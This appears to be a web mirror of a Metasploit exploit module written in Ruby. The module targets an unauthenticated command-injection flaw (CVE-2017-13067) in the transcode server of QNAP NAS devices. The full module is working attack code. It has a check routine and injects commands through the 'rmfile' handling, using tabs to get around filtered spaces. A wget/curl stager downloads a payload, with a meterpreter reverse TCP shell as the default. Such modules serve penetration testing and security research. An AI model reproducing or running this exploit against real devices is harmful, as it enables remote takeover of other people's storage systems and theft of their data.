Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/misc/qnap_transcode_server.rb
19850 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::CmdStager
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'QNAP Transcode Server Command Execution',
17
'Description' => %q{
18
This module exploits an unauthenticated remote command injection
19
vulnerability in QNAP NAS devices. The transcoding server listens
20
on port 9251 by default and is vulnerable to command injection
21
using the 'rmfile' command.
22
23
This module was tested successfully on a QNAP TS-431 with
24
firmware version 4.3.3.0262 (20170727).
25
},
26
'Author' => [
27
'Zenofex', # Initial vulnerability discovery and PoC
28
'0x00string', # Initial vulnerability discovery and PoC
29
'bcoles' # Metasploit
30
],
31
'License' => MSF_LICENSE,
32
'Platform' => 'linux',
33
'References' => [
34
[ 'CVE', '2017-13067' ],
35
[ 'URL', 'https://www.exploitee.rs/index.php/QNAP_TS-131' ],
36
[ 'URL', 'http://docs.qnap.com/nas/4.1/Home/en/index.html?transcode_management.htm' ]
37
],
38
'DisclosureDate' => '2017-08-06',
39
'Privileged' => true,
40
'Arch' => ARCH_ARMLE,
41
'DefaultOptions' => {
42
'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'
43
},
44
'Targets' => [['Automatic', {}]],
45
'CmdStagerFlavor' => %w{wget curl},
46
'DefaultTarget' => 0,
47
'Notes' => {
48
'Reliability' => UNKNOWN_RELIABILITY,
49
'Stability' => UNKNOWN_STABILITY,
50
'SideEffects' => UNKNOWN_SIDE_EFFECTS
51
}
52
)
53
)
54
55
register_options(
56
[
57
Opt::RPORT(9251),
58
OptInt.new('DELAY', [true, 'How long to wait for the device to download the payload', 30])
59
]
60
)
61
deregister_options 'cmdstager::decoder'
62
end
63
64
def check
65
vprint_status 'Connecting to transcode server...'
66
67
connect
68
sock.put "\x01\x00\x00\x00"
69
res = sock.get_once
70
71
if res.blank?
72
vprint_status 'No reply from server'
73
return CheckCode::Safe
74
end
75
76
vprint_status "Received response: #{res}"
77
78
return CheckCode::Detected if res.to_s =~ /client's request is accepted/
79
80
CheckCode::Safe
81
rescue ::Rex::ConnectionError
82
vprint_error 'Connection failed'
83
return CheckCode::Unknown
84
ensure
85
disconnect
86
end
87
88
def execute_command(cmd, opts)
89
# Filtered characters: 0x20 ! $ & 0x39 , ; = [ ] ^ ` { } %
90
# Execute each command seperately
91
cmd.split(';').each do |c|
92
connect
93
vprint_status "Executing command: #{c}"
94
95
# Replace spaces with tabs
96
c.tr! ' ', "\t"
97
98
sock.put "\x01\x00\x00\x00/|#{c}|\x00"
99
res = sock.get_once
100
101
unless res.to_s =~ /client's request is accepted/
102
print_status 'Unexpected reply'
103
break
104
end
105
106
print_status "Sent command successfully (#{c.length} bytes)"
107
108
disconnect
109
110
if c =~ /^(curl|wget)/
111
print_status "Waiting for the device to download the payload (#{datastore['DELAY']} seconds)..."
112
Rex.sleep datastore['DELAY']
113
end
114
end
115
rescue ::Rex::ConnectionError
116
fail_with Failure::Unreachable, 'Failed to connect to the transcode server'
117
ensure
118
disconnect
119
end
120
121
def exploit
122
vprint_status 'Connecting to transcode server...'
123
execute_cmdstager linemax: 400
124
end
125
end
126
127